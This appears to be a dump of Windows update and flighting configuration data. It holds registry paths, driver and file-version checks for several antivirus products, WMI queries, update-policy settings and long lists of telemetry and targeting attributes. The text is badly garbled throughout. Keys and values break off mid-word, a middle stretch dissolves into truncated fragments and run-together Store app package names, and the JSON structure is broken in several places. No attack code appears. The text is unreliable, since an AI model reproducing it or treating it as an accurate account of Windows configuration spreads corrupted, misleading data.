\"SOFTWARE\\\\Classes\\\\Steam\",\n \"ValueName\": \"\",\n \"Re pe\" REG_SZ\" g\": \n ": \"{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\"\n },\n \"TobiiVerx86\": {\n \"Path\": \"\\\\tobii EyeX Interaction\\\\Tobii.EyeX.Interaction.exe\",\n \"FolderGuid\": \"{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\"\n },\n \"TrendInstalledVer\": {\n \"Path\": \"\\\\Trend Micro\\\\Titanium\\\\plugin\\\\plugVizor.dll\",\n \"IfExists\": true,\n \"FolderGuid\": \"{905E63B6-C1BF-494E-B29C-65B732D3D21A}\"\n },\n \"TrendMicroVer\": {\n \"Path\": \"\\\\drivers\\\\TMUMH.sys\",\n \"FolderGuid\": \"{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\"\n },\n \"UCPDVer\": {\n \"Path\": \"\\\\drivers\\\\UCPD.sys\",\n \"FolderGuid\": \"{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\"\n },\n \"WASDK_1_2_ARM\": {\n \"Path\": \"%programfiles%\\\\WindowsApps\\\\Microsoft.WindowsAppRuntime.1.6_6000.311.13.0_arm__8wekyb3d8bbwe\\\\WindowsAppRuntime.DeploymentExtensions.OneCore.dll\",\n \"IfExists\": true\n },\n \"WASDK_1_2_ARM64\": {\n \"Path\": \"%programfiles%\\\\WindowsApps\\\\Microsoft.WindowsAppRuntime.1.6_6000.311.13.0_arm64__8wekyb3d8bbwe\\\\WindowsAppRuntime.DeploymentExtensions.OneCore.dll\",\n \"IfExists\": true\n },\n \"WASDK_1_2_DLL\": {\n \"Path\": \"%programfiles%\\\\WindowsApps\\\\Microsoft.WindowsAppRuntime.1.6_6000.311.13.0_x64__8wekyb3d8bbwe\\\\WindowsAppRuntime.DeploymentExtensions.OneCore.dll\",\n \"IfExists\": true\n },\n \"WASDK_1_2_X86\": {\n \"Path\": \"%programfiles%\\\\WindowsApps\\\\Microsoft.WindowsAppRuntime.1.6_6000.311.13.0_x86__8wekyb3d8bbwe\\\\WindowsAppRuntime.DeploymentExtensions.OneCore.dll\",\n \"IfExists\": true\n },\n \"WuClientVer\": {\n \"Path\": \"\\\\system32\\\\wuaueng.dll\",\n \"FolderGuid\": \"{F38BF404-1D43-42F2-9305-67DE0B28FC23}\"\n },\n \"XamlCbsActivationStore\": {\n \"Path\": \"%ProgramData%\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\AppRepository\\\\\\\\Packages\\\\\\\\Microsoft.UI.Xaml.CBS_8.2205.4001.0_x64__8wekyb3d8bbwe\\\\\\\\ActivationStore.dat\",\n },\n \"GDataInstalledVer\": {\n \"Path\": \"\\\\drivers\\\\MiniIcpt.sys\",\n \"IfExists\": true,\n \"FolderGuid\": \"{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\"\n },\n \"HidparseDriversVer\": {\n \"Path\": \"%windir%\\\\system32\\\\drivers\\\\hidparse.sys\"\n },\n \"HidparseSystem32Ver\": {\n \"Path\": \"%windir%\\\\system32\"\n },\n \"HidparseSystem32Ver1\": {\n \"Path\": \"%windir%\\\\system32\\\\hidparse.sys\"\n },\n \"IsNotepadExePresent\": {\n \"Path\": \"%windir%\\\\system32\\\\notepad.exe\",\n \"IfExists\": true\n },\n \"K7InstalledVer\": {\n \"Path\": \"\\\\K7 Computing\",\n \"IfExists\": true,\n \"FolderGuid\": \"{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\"\n },\n \"KasperskyVer\": {\n \"Path\": \"\\\\system32\\\\Drivers\\\\klhk.sys\",\n \"FolderGuid\": \"{F38BF404-1D43-42F2-9305-67DE0B28FC23}\"\n },\n \"OnnxruntimeVer\": {\n \"Path\": \"%windir%\\\\\\\\system32\\\\\\\\onnxruntime.dll\"\n },\n \"PandaInstalledVer\": {\n \"Path\": \"\\\\Panda Security\",\n \"IfExists\": true,\n \"FolderGuid\": \"{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\"\n },\n \"SkypeRoomSystem\": {\n \"Path\": \"%systemdrive%\\\\Recovery\\\\OEM\\\\$oem$\\\\$1\\\\Rigel\\\\x64\\\\Scripts\\\\Provisioning\\\\AutoUnattend.xml\",\n \"IfExists\": true\n },\n \"SymantecVer\": {\n \"Path\": \"\\\\Symantec\\\\Shared\\\\EENGINE\\\\eeCtrl.sys\",\n \"FolderGuid\": \"{DE974D24-D9C6-4D3E-BF91-F4455120B917}\"\n },\n \"SymantecVer64\": {\n \"Path\": \"\\\\Symantec\\\\Shared\\\\EENGINE\\\\eeCtrl64.sys\",\n \"FolderGuid\": \"{DE974D24-D9C6-4D3E-BF91-F4455120B917}\"\n },\n \"TobiiVer\": {\n \"Path\": \"\\\\Tobii\\\\Tobii EyeX Interaction\\\\Tobii.EyeX.Interaction.exe\",\n \"FolderGuid\": \"{905E63B6-C1BF-494E-B29C-65B732D3D21A}\"\n },\n \"TobiiVer1x86\": {\n \"Path\": \"\\\\Tobii\\\\tobii EyeX Interaction\\\\Tobii.EyeX.Interaction.exe\",\n \"FolderGuid\P-Activation'\",\n \"Name\": \"InstallState\",\n \"Timeout\": 2000\n },\n \"WCFNonHTTPActivationState\": {\n \"Query\": \"SELECT * FROM Win32_OptionalFeature WHERE name = 'WCF-NonHTTP-Activation'\",\n \"Name\": \"InstallState\",\n \"Timeout\": 2000\n },\n \"XeroxPsaInstalledName\": {\n \"Query\": \"SELECT Name, ProgramId FROM Win32_InstalledStoreProgram WHERE ProgramId = 'XeroxCorp.PrintExperience_8.29.32.0_x64__f7egpvdyrs2a8'\",\n \"Name\": \"Name\",\n \"Timeout\": 2000\n }\n },\n \"RegionPolicy\": {\n \"IsCampaignEdgePromotionEnabled\": {\n \"ForceEvaluate\": false,\n \"PolicyGUID\": \"{2BF706DE-6DBB-4692-B7EF-84D80C47E927}\"\n },\n \"IsCampaignSegmentTargetingEnabled\": {\n \"ForceEvaluate\": false,\n \"PolicyGUID\": \"{36996754-E327-483A-902F-523E2BA03239}\"\n }\n }\n}","FLIGHTINGMSAAPPID":"Foobar-FlightingMsaAppId","FLIGHTSETTINGSSERVICEURL":"https://insideruser.microsoft.com/api/FlightSettings","FLIGHTSETTINGSVERSION":"2","HONORUTCRESTRICTIONS":"0","ISBUILDUNSUPPORTED":"0","MAXCALLSPERDAY":"500","MINTIMEBETWEENCALLSWHENTHROTTLEDINSECONDS":"300","SYNCWNSURI":"0","TIME":"5","USESETTINGSEXPERIENCE":"0","USESSOAPPGROUP":"0","UTCAPPROVEDPROPERTIES":"deviceType;osUILocale;currentTelemetryLevelInt;defaultDynamicRegistryReads;propertyIgnoreList;testFlags;rs2CapabilitiesPresent;rs3CapabilitiesPresent","WINDOWSUPDATEMSAAPPID":"Foobar-WindowsUpdateMsaAppId"}} \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\WSX\\\\WSXPacks\\\\CTAC\",\n \"ValueName\": \"Windows.AppSample\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"WSX_Windows_Settings_Account\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\WSX\\\\WSXPacks\\\\CTAC\",\n \"ValueName\": \"Windows.Settings.Account\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"WSX_Windows_Shell_Start\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\WSX\\\\WSXPacks\\\\CTAC\",\n \"ValueName\": \"Windows.Shell.StartMenu\",\n \"RegValueType\": \"REG_SZ\"\n }\n },\n \"UpdatePolicy\": {\n \"AdminOptedIntoRebootlessUpdates\": {\n \"PolicyEnum\": 59,\n \"Enterprise\": true\n },\n \"AllowOptionalContent\": {\n \"PolicyEnum\": 58,\n \"Enterprise\": true\n },\n \"BranchReadinessLevel\": {\n \"PolicyEnum\": 5,\n \"Enterprise\": true\n },\n \"BranchReadinessLevelSource\": {\n \"PolicyEnum\": 5,\n \"Enterprise\": true,\n \"UseSource\": true\n },\n \"DeferFeatureUpdatePeriodInDays\": {\n \"PolicyEnum\": 9,\n \"Enterprise\": true\n },\n \"DeferQualityUpdatePeriodInDays\": {\n \"PolicyEnum\": 7,\n \"Enterprise\": true\n },\n \"DisableDualScan\": {\n \"PolicyEnum\": 42,\n \"Enterprise\": true\n },\n \"EnableWUfBUpgradeGates\": {\n \"PolicyEnum\": 51,\n \"Enterprise\": true\n },\n \"TargetProductVersion\": {\n \"PolicyEnum\": 53,\n \"Enterprise\": true\n },\n \"TargetReleaseVersion\": {\n \"PolicyEnum\": 50,\n \"Enterprise\": true\n },\n \"UpdateSer Url\": {\n \"WUfBClientMana \"EL erprise\": true\n }\n },\n leInfo\": / n \"AvastVer\": {\n \"Path\": \"\\\\system32\\\\Drivers\\\\aswVmSoftware\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\UnifiedCon DEFA CCOUNT\\\\WINDOWSACCOUNTSYNCCONSENT\",\n \" lueName\": \"isApplicable\",\n \"RegValue \": CONS indowsAccountSyncCon State\": OWSACCOUNTSYNCCO T\\\ isConsentAcc d\", D\"\n n \"WindowsMixedR y\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Micr \Ser s\\\ pported\": { lKeybasedESUEligible\",\n \"q:HCFDeviceFeatureProviderVer\",\n \"a:UpgEx_GE25H2\",\n \"a:GStatus_GE25H2\",\n \"a:TimestampEpochString_GE25H2\",\n \"a:DataExpDateEpoch_GE25H2\",\n \"a:DataExpDateEpoch_GE25H2_Subtract_DataExpDateEpoch_GE24H2Setup\",\n \"a:TimestampEpochString_GE25H2_Subtract_TimestampEpochString_GE24H2Setup\",\n \"W10ESU\",\n \"r:Win10CommercialW365ESUEligible\",\n \"r:HostingSystemEditionId\",\n \"r:Win10ConsumerESUAY\",\n \"r:NPU_DriverVersion\",\n \"r:QuickMachineRecoveryEnrolled\",\n \"r:AllowWindowsServerFeatureUpdate\",\n \"r:DefenderServiceExists\",\n \"r:DefenderSignatureRing\",\n \"r:DefenderUUPFlags\",\n \"r:DefenderStarted\",\n \"r:DefenderCampRing\",\n \"r:DefenderEngineRing\",\n \"r:DefenderDisableAntiVirusPolicies\",\n \"r:DefenderDisableAntiSpywarePolicies\",\n \"r:DefenderDisableAntiVirus\",\n \"r:DefenderDisableAntiSpyware\",\n \"r:DefenderSignatureUpdatePending\",\n \"r:DefenderSharedSignatureRootExistsPolicies\",\n \"r:DefenderSharedSignatureRootExists\",\n \"r:DefenderFilterExists\",\n \"c:IsWindows365Device\",\n \"c:CloudService\",\n \"c:WVDEnvironment\",\n \"r:MinWhcpVersion_NotKernel\",\n \"r:MinWhcpVersion_Kernel\"\n ],\n \"_WU_PTI\": [\n \"c:FrontFacingCameraResolution\",\n \"c:RearFacingCameraResolution\",\n \"c:TotalPhysicalRAM\",\n \"c:NFCProximity\",\n \"c:Magnetometer\",\n \"c:Gyroscope\",\n \"c:D3DMaxFeatureLevel\",\n \"c:InternalPrimaryDisplayResolutionHorizontal\",\n \"c:InternalPrimaryDisplayResolutionVetical\"\n ],\n \"WU_STORE\": [\n \"+_WU_COMMON\",\n \"r:AppChannels\",\n \"r:AppRMIDs\",\n \"u:BranchReadinessLevel\"\n ],\n \"XBOXMOBILE\": [\n \"os\",\n \"OSVersion\",\n \"ring\",\n \"locale\",\n \"AppStoreTarget\"\n ]\n },\n \"Required\": [\n \"App\",\n \"AppVer\",\n \"AttrDataVer\_NI22H2Setup\",\n \"a:TimestampEpochString_NI22H2\",\n \"r:IsVbsEnabled\",\n \"r:FODRetryPending\",\n \"r:UserInPlaceUpgrade\",\n \"v:HidparseDriversVer\",\n \"v:HidparseSystem32Ver\",\n \"v:HidparseSystem32Ver1\",\n \"r:CIOptin\",\n \"r:FlightingOptOutState\",\n \"p:WSUSconfigured_csp\",\n \"a:UpgEx_NI22H2Setup\",\n \"a:UpgEx_CO21H2Setup\",\n \"u:WUfBClientManaged\",\n \"u:UpdateServiceUrl\",\n \"u:AllowOptionalContent\",\n \"DL_OSVersion\",\n \"r:ExpPkgs\",\n \"r:UUSVersion\",\n \"r:OobeNdupFUTarget\",\n \"a:GStatus_NI23H2\",\n \"a:DataExpDateEpoch_NI23H2\",\n \"a:TimestampEpochString_NI23H2\",\n \"DataExpDateDelta_NI23H2SubtractNI22H2Setup\",\n \"TimestampDelta_NI23H2SubtractNI22H2Setup\",\n \"r:LaunchUserOOBE\",\n \"r:RobloxPlayer\",\n \"r:RobloxStudio\",\n \"c:VBSState\",\n \"r:ARCHotpatchAttached_State\",\n \"r:MDEWSLPluginReleaseRing\",\n \"r:SystemGuard_Enabled\",\n \"u:AdminOptedIntoRebootlessUpdates\",\n \"r:LaunchOobeInEndUserSession\",\n \"r:MDE4WSLPluginReleaseRing\",\n \"r:AdminOptedIntoRebootlessUpdates_Server\",\n \"r:IsRemoteDesktopSessionHost\",\n \"a:UpgEx_GE24H2\",\n \"s:IsA9CapablePC\",\n \"a:UpgEx_GE24H2Setup\",\n \"r:ProductType\",\n \"a:DataExpDateEpoch_GE24H2\",\n \"DataExpDateDelta_GE24H2SubtractGE24H2Setup\",\n \"a:DataExpDateEpoch_GE24H2Setup\",\n \"a:GStatus_GE24H2\",\n \"a:GStatus_GE24H2Setup\",\n \"a:TimestampEpochString_GE24H2\",\n \"TimestampDelta_GE24H2SubtractGE24H2Setup\",\n \"a:TimestampEpochString_GE24H2Setup\",\n \"q:AIFabricCBSStableVer\",\n \"c:IsVirtualDevice\",\n \"a:SdbVer_GE24H2\",\n \"r:HotpatchError\",\n \"r:CHPE_Disabled\",\n \"r:MSRT_NO_AU\",\n \"r:ClientHash2\",\n \"r:NPU_DeviceId\",\n \"r:EasyAntiEoS_Installed\",\n \"r:Win10CommercialAzureESUEligible\",\n \"r:Win10CommerciaCMClientID\",\n \"r:ChinaTypeApproval_CTA\",\n \"p:DesiredOcpVersion\",\n \"r:UpgradeEligible\",\n \"r:AllowInPlaceUpgrade\",\n \"r:SH_SIPolicyCleanup\",\n \"r:FeatureUpdateDeadline\",\n \"a:DataExpDateEpoch_21H1\",\n \"a:UpgEx_CO21H2\",\n \"a:GStatus_21H1\",\n \"DataExpDateDelta_21H1Subtract20H1Setup\",\n \"TimestampDelta_21H1Subtract20H1Setup\",\n \"a:TimestampEpochString_21H1\",\n \"r:OEMSubModel\",\n \"c:ProcessorModel\",\n \"c:TPMVersion\",\n \"r:StayOnWindows10Timestamp\",\n \"a:GStatus_CO21H2Setup\",\n \"TimestampDelta_CO21H2SubtractCO21H2Setup\",\n \"DataExpDateDelta_CO21H2SubtractCO21H2Setup\",\n \"a:TimestampEpochString_CO21H2Setup\",\n \"a:DataExpDateEpoch_CO21H2Setup\",\n \"a:TimestampEpochString_CO21H2\",\n \"a:DataExpDateEpoch_CO21H2\",\n \"a:GStatus_CO21H2\",\n \"p:SetPolicyDrivenUpdateSourceForFeatureUpdates\",\n \"r:DchuNvidiaGrfxVenTest\",\n \"a:DataExpDateDelta_21H2Subtract20H1Setup\",\n \"a:TimestampEpochString_21H2\",\n \"a:TimestampDelta_21H2Subtract20H1Setup\",\n \"a:GStatus_21H2\",\n \"a:DataExpDateEpoch_21H2\",\n \"r:DSS_Enrolled_DF\",\n \"r:UpgradeAccepted\",\n \"r:SetupDisplayedEulaVersion\",\n \"c:ProcessorCores\",\n \"c:ProcessorClockSpeed\",\n \"c:TotalPhysicalRAM\",\n \"c:SecureBootCapable\",\n \"c:PrimaryDiskTotalCapacity\",\n \"r:BitDefenderInstalledKey\",\n \"r:BroadcomInstalledKey\",\n \"v:CrowdStrikeInstalledVer\",\n \"r:QihooInstalledKey\",\n \"r:Win11UpgradeAcceptedTimestamp\",\n \"a:UpgEx_NI22H2\",\n \"r:OobeNdupAcceptedTarget\",\n \"r:OobeNdupFU22621CommitChoice\",\n \"a:DataExpDateEpoch_NI22H2\",\n \"a:GStatus_NI22H2\",\n \"a:GStatus_NI22H2Setup\",\n \"a:TimestampEpochString_NI22H2Setup\",\n \"TimestampDelta_NI22H2SubtractNI22H2Setup\",\n \"DataExpDateDelta_NI22H2SubtractNI22H2Setup\",\n \"a:DataExpDateEpoch\",\n \"r:PonchBlock\",\n \"c:ProcessorIdentifier\",\n \"r:RecoveredFromBuild\",\n \"r:RecoveredOnDate\",\n \"r:Steam\",\n \"v:TobiiVer\",\n \"v:TrendMicroVer\",\n \"r:UninstallActive\",\n \"l:UpdateManagementGroup\",\n \"a:UpgEx_RS3\",\n \"a:UpgEx_RS4\",\n \"a:UpgEx_RS5\",\n \"a:Version_RS5\",\n \"r:DisableWUfBOfferBlock\",\n \"a:UpgEx_19H1\",\n \"a:SdbVer_19H1\",\n \"a:GStatus_19H1\",\n \"a:GStatus_19H1Setup\",\n \"a:TimestampEpochString_19H1Setup\",\n \"a:GenTelRunTimestamp_19H1\",\n \"a:DataExpDateEpoch_19H1\",\n \"u:EnableWUfBUpgradeGates\",\n \"r:GStatusBlockIDs_All\",\n \"TimestampDelta_19H1Subtract19H1Setup\",\n \"DataExpDateDelta_19H1Subtract19H1Setup\",\n \"a:DataExpDateEpoch_19H1Setup\",\n \"a:TimestampEpochString_19H1\",\n \"r:IsContainerMgrInstalled\",\n \"r:IsWDAGEnabled\",\n \"r:MTPTargetingInfo\",\n \"r:EKB19H2InstallCount\",\n \"r:EKB19H2UnInstallCount\",\n \"r:EKB19H2InstallTimeEpoch\",\n \"r:EKB19H2UnInstallTimeEpoch\",\n \"r:BlockEdgeWithChromiumUpdate\",\n \"r:IsWDATPEnabled\",\n \"r:IsAutopilotRegistered\",\n \"r:EdgeWithChromiumInstallVersion\",\n \"r:EdgeWithChromiumInstallFailureCount\",\n \"r:IsEdgeWithChromiumInstalled\",\n \"r:KioskMode\",\n \"c:IsCloudDomainJoined\",\n \"c:IsDomainJoined\",\n \"a:DataExpDateEpoch_20H1\",\n \"a:DataExpDateEpoch_20H1Setup\",\n \"a:GStatus_20H1\",\n \"a:GStatus_20H1Setup\",\n \"a:SdbVer_20H1\",\n \"a:TimestampEpochString_20H1\",\n \"a:TimestampEpochString_20H1Setup\",\n \"DataExpDateDelta_20H1Subtract20H1Setup\",\n \"TimestampDelta_20H1Subtract20H1Setup\",\n \"a:UpgEx_20H1\",\n \"r:AutopilotUpdateInProgress\",\n \"r:UHSEnrolled\",\n \"r:HotPa KBInstalled\",\n "c:isCommercial\",\n c:IsMDL nrolled\",\n \"c:SC"OEMMode \n \"/ MName_Uncleaned\",\n \"r:OemPartnerRing\",\n \"OSArchitecture\",\n \"OSVe ",\n fact ,\n \n ,\n \",\n \"u:Defer ityUpdat n\",\n \"r: adli \"r:Upda fere sion\",\ \"DSS_Enrolled\", pdat \"u: boot/ C:\WINDOWS\system32 SYSTEM\Software\Micro ults taskhostw.ex en-C 012345678 HH:mm:s dd.MM. 30203dee513b8.2800165f23714_25j5yr1mrjxqp esko.ipv c_bx na.fundi nary 48de7fc0 5j5y _6njtgs8 11604thecityoftheapps.lenguaje8aos_zqpd68s4emmvm victoryvr.fieryfiascoupinflames_34chm4etathfm 4d_s7gvt 3a44 _3kdn78h ehololen e_4s 11457utopiat.net.55325b60624c3_kn981g662nd2w puzzle_v cbr3 iascoupi mes_ mcb04wa0 549972fc8b2f2.43568699237ca_8wgzgevbd5zz0 n.171150 202_ scratchfoundation.1711508cfd202_wmbdy4q6dbx4t 47025octavianhasna.fundictionary_mxfztk8sq9ed2 blsimple x_v3 proficientlearningllc.mcoach_4w68ekzraxdx8 lifeliqe.lifeliqehololensfree_4sphcnt51d63w 7353bisonologic.blsimplemathx_v3cxa8xfjtdjc 8floorgames.lostartifactssoulstone_756372mhtmnt8 61118jvtidevelopment.astrold_q0ybraqtt72nw 247technologylimited.604961ed1de72_xsp6w7e8kxjyt 12481nutstudio.62548d8b9da54_fswqp52rgan58 infinitedreams.skyforceanniversary_85c9cvp6rbrrc oyalroma curs qz3a6yry espuzzle 4wa3 kyforcea ersa brrc 34349greatsoftware.kaboomgame_3wkbpjxrpqkq6 laxyrunh 085r bibasesoftware.contractbridgex_1hstzhd5vj50p 28861resetgame.tankacereloaded_35b8x47qztent wdp2 vilssoli e_gv ashitbot _npc ontractb ex_1 eld.pegs aire ptb37dz2 16977tspgames.smashitbottles_npch03wfckbqm solitairen.freecellsolitairengame_1d700skb9r4b4 rwex_0vy bx2r 547363fef1877.3714694c711f3_mksrrfjb5xx2r .5673923 a5_5 vpcp2e _2sczpnv kr8a mmvmkdv4 sindhaca umer se458 547363fef1877.513515320364f_mksrrfjb5xx2r nuel2.0_ 94zv 36ms24g chnology okht cpktms3r collgemont-royal.applicationcmr_7kdsypgraaqwp ylab.his pvr_ ownik_fn jjmg parkerhillrealitylab.histomapvr_xcvpdwb6aezvp assroomc nder t7n8120j binarylogicsa.eltskillsgs1a_5zmfee0tdkfr8 ye.10909 586f scs24g .colorin kfor rtgbwbp3 38740olusolaolaoye.10909a183586f_y1p73gb5s1msc 9423alekzenderplesko.ipv4calc_bxtg452smh97y speducar 4ema esszipcn _7ke udio.dvd erpr qf0tv0 _vj11vyf 2w3r 34911ivanbian.brightnessslider_wt969z8afz9y0 .kaslaan er_c rsoftwar sedi 9rr8g 11256kaslaansoft.kaslaanhasher_c7mjxb1atdkkc 17717ksgc.munsellcolorchart2_c3rypyqh6j838 ad2f1837.hpsysteminformation_v10z8vjag6ke6 13395rbcorp.appvideodownloader_02zr0zfgc34j2 .stylede pman 7w1rm0 .shutdow x3j0 10763neonway.easyscreencrop_7kzf3j20m4tcj 38223alexanderkomarov.accurateocr_c8g5cr3yv68mt ad2f1837.hpcloudrecoverytool_v10z8vjag6ke6 marov.ac teoc 8mtfmqr minforma _v10 innomediainc.buddytalksetuptool_6qyae4gn7rkpj 52333metkagramteam.metkagram_z9zgbvrd3rt9c neering. lecu ons_1068 19632lzn1007outlook.com.2lite_365zje9t89qy8 ungarian hdic r4cb04wa 811fadf0 wvz4 1890cursomecanet.cursomecanet.fs_sva9t5kr9qem2 re.profe teac t2021_p2 ermanlat dict 4cb04wa0 pluralpublishing.5673923a755a5_5chx65nfw42hw 46150pnneducation.2174200926e2b_1acchnmbenxs0 a3512ht80 amgh ofth 3++S++ ranchName", "f:FlightRing", "c:IsCloudDomainJoined", "t:IsMsftOwned", "f:IsRetailOS", "c:OSUILocale", "c:IsDomainJoined" ], "IDSPCA": [ "f:FlightRing", "f:IsFlightingEnabled", "f:FlightingBranchName", "f:IsRetailOS", "c:OSEdition", "c:IsDomainJoined", "c:OSUILocale", "n:IsMicrosoftAAD", "r:CurrentBranch", "t:IsMsftOwned", "t:IsTestLab", "t:DeviceFamily", "t:LocalDeviceID", "t:OSSkuId", "t:OSVersionFull", "IsVM", "OEMModel", "OSVersion", "r:EnableCloudManagedIDS", "c:AADDeviceId" ], "IRISCLIENT": [ "+IRISCLIENTBASE", "c:FlightIds" ], "IRISCLIENTBASE": [ "DeviceFamily", "OSVersion", "t:OSSkuId", "OSArchitecture", "c:TelemetryLevel", "f:FlightRing", "f:FlightingBranchName", "OEMModel", "c:OSUILocale", "c:OSEdition", "r:CurrentBranch", "t:WCOSProductId", "c:InstallationType", "r:InstallDate", "c:IsDeviceRetailDemo", "f:IsRetailOS", "prccs", "prccn", "prcmf", "ram", "c:D3DMaxFeatureLevel", "c:IsAlwaysOnAlwaysConnectedCapable", "t:SMode", "t:LocalUserID", "r:AndroidUserOptinValue", "procm", "MX_FlightIds", "a:UpgEx_CO21H2", "r:KnownFoldersBackupStatus", "c:OEMModelSystemFamily", "OEMName_Uncleaned", "r:IsSpotlightEnabledInOEMTheme", "r:IsSpotlightThemeEnabledByOEM", "r:WindowsAccountSyncConsentApplicable", "r:WindowsAccountSyncConsentState", "r:WindowsAccountSyncConsentPromptAllowed", "iepe", "iste", "drgng", "aipc", "oemname", "smbiosdm", "ccr", "devfm", "W10ESU", "c:IsCloudDomainJoined", "r:NDUP_FlightID" ], "IRISCLIENTV2": [ "+IRISCLIENTBASE", "IX_FlightIds" ], "MICROSOFT.WINDOWSFEEDBACKHUB_8WEKYB3D8BBWE": [ "t:OSVers "c:FirmwareManufacturer", "c:OEMModelNumber", "r:BaseBoardManufacturer", "c:OEMModelSKU", "c:OEMManufacturerName", "c:OEMName", "c:OEMModelBaseBoardVersion", "c:OEMModelSystemFamily", "c:OEMModelSystemVersion", "c:FirmwareReleaseDate" ], "DDC": [ "+WU_STORE", "+_WU_PTI" ], "DXDB": [ "DeviceFamily", "f:FlightRing", "r:IsHybridOrXGpu", "t:OSVersionFull", "OSVersion" ], "EDGE_SERVICEUI": [ "t:LocalDeviceID", "t:LocalUserID" ], "FCON": [ "+CDM" ], "FSS": [ "r:PreviewBuildsManagerEnabled", "f:BranchReadinessLevelRaw", "u:BranchReadinessLevelSource", "r:BuildFID", "t:DeviceFamily", "DeviceId", "c:EnablePreviewBuilds", "f:FlightingPolicyValue", "f:IsRetailOS", "f:ManagePreviewBuilds", "OSVersionFull", "t:WCOSProductId", "r:SmartActiveHoursState", "r:ActiveHoursStart", "r:ActiveHoursEnd", "r:IsCHCapableBuild", "r:FSRing", "s:MaxShellVersion", "s:MinShellVersion", "c:TPMVersion", "c:SecureBootCapable", "c:ProcessorClockSpeed", "c:ProcessorCores", "c:TotalPhysicalRAM", "t:SMode", "c:SystemVolumeTotalCapacity", "c:OEMManufacturerName", "c:OEMModelNumber", "a:ISVM", "r:AllowUpgradesWithUnsupportedTPMOrCPU", "r:IntelPlatformId", "r:IsConfigMgrEnabled", "f:IsFlightingEnabled", "r:DeviceInfoGatherSuccessful", "c:IsVirtualDevice", "r:OemPartnerRing", "c:FlightingBranchName", "a:UpgEx_CO21H2", "a:UpgEx_NI22H2", "a:UpgEx_GE24H2", "sku", "r:AADTenantId", "r:FIDTSRan", "r:AllowInPlaceUpgrade" ], "FXIRISCLIENT": [ "+IRISCLIENT" ], "GS": [ "t:OSSkuId", "t:OSVersionFull", "r:CurrentBranch", "r:DefaultUserRegion", "DeviceFamily", "c:FlightIds", "f:FlightingBassNRO", "c:IsVirtualDevice", "s:IsA9CapablePC", "a:SdbVer_GE24H2", "r:AgileBits1PasswordPluginAuthenticator", "r:OemPartnerRing", "W10ESU", "c:DeviceForm", "r:HostingSystemEditionId", "r:Win10CommercialAzureESUEligible", "r:Win10CommercialKeybasedESUEligible", "r:Win10ConsumerESUAY", "r:Win10CommercialW365ESUEligible", "c:SocketCount", "q:HCFDeviceFeatureProviderVer", "c:IsWindows365Device", "r:DurableDeviceRegionGeo", "c:TPMManufacturerVersion", "c:TPMManufacturerId", "c:WVDEnvironment", "c:CloudService", "r:FconWexpVersion" ], "CDM_OS": [ "+CDM", "c:FlightIds" ], "COMPATLOGGER": [ "osVer", "ring", "deviceId" ], "CONTENT_DELIVERY_MANAGER": [ "c:OSEdition", "t:OSSkuId", "c:OSUILocale", "a:UpgEx_CO21H2", "a:GStatus_CO21H2", "a:DataExpDateEpoch_CO21H2", "a:TimestampEpochString_CO21H2", "r:AndroidUserOptinValue", "f:FlightingBranchName", "f:FlightRing", "r:CurrentBranch", "procm", "r:NPUEnabledDevice", "MX_FlightIds", "r:KnownFoldersBackupStatus", "c:IsDomainJoined", "iepe", "iste", "drgng", "r:WindowsAccountSyncConsentState", "r:WindowsAccountSyncConsentApplicable", "r:WindowsAccountSyncConsentPromptAllowed", "aipc", "ram", "prccn", "prccs", "prcmf", "ccr", "devfm", "W10ESU", "r:NDUP_FlightID" ], "CORTANA_GATEKEEPER": [ "r:CurrentBranch", "f:FlightRing", "f:IsRetailOS" ], "CORTANAUWP": [ "c:OSUILocale", "t:OSVersionFull", "v:CortanaAppVer", "r:TestAllowedIDFlags" ], "CORTANAUWPTEST": [ "+CORTANAUWP", "v:CortanaAppVerTest" ], "CTAC": [ "+FSS", "r:FIDTSRan" ], "DBUPDATE": [ "c:FirmwareVersion", "c:OEMModelBaseBoard", "OSArchitecture", n_RunOnM edel TRIB %ProgramData%\Microsoft\Windows\OneSettings s\One trib %ProgramData%\Microsoft\Windows\OneSettings crosoft\ ows\ EBLrsion N_THREAD UTIO CONDS UGIN_MIN METH ugin_Int lInH ugin_Int tive %ProgramData%\Microsoft\Windows\OneSettings tVersion tHealthR crosoft\ ows\ AUTOMATICCORRUPTIONREPAIRPLUGIN_MAXUPTIMETHRESHOLD AUTOMATICCORRUPTIONREPAIRPLUGIN_PLUGINMAINTENANCEMODE NONMANAGED":{"ValueName":"ScheduledTasksPlugin_RunOnManaged","RegValueType":"REG_DWORD"},"SCHEDULEDTASKSPLUGIN_SERVERSKUBLOCK":{"ValueName":"ScheduledTasksPlugin_ServerSkuBlock","RegValueType":"REG_DWORD"},"SCHEDULEDTASKSPLUGIN_THREADEXECUTIONTIMEOUTINSECONDS":{"ValueName":"ScheduledTasksPlugin_ThreadExecutionTimeoutInSeconds","RegValueType":"REG_DWORD"},"SCHEDULEDTASKSPLUGIN_MANUALREMEDIATIONCAMPAIGNID":{"ValueName":"ScheduledTasksPlugin_ManualRemediationCampaignId","RegValueType":"REG_SZ"},"SCHEDULEDTASKSPLUGIN_MAXMANUALREMEDIATIONATTEMPTS":{"ValueName":"ScheduledTasksPlugin_MaxManualRemediationAttempts","RegValueType":"REG_DWORD"},"SCHEDULEDTASKSPLUGIN_MANUALREMEDIATIONINTERVALINHOURS":{"ValueName":"ScheduledTasksPlugin_ManualRemediationIntervalInHours","RegValueType":"REG_DWORD"},"SERVICEHEALTHPLUGIN_ACTIONLIMIT":{"ValueName":"ServiceHealthPlu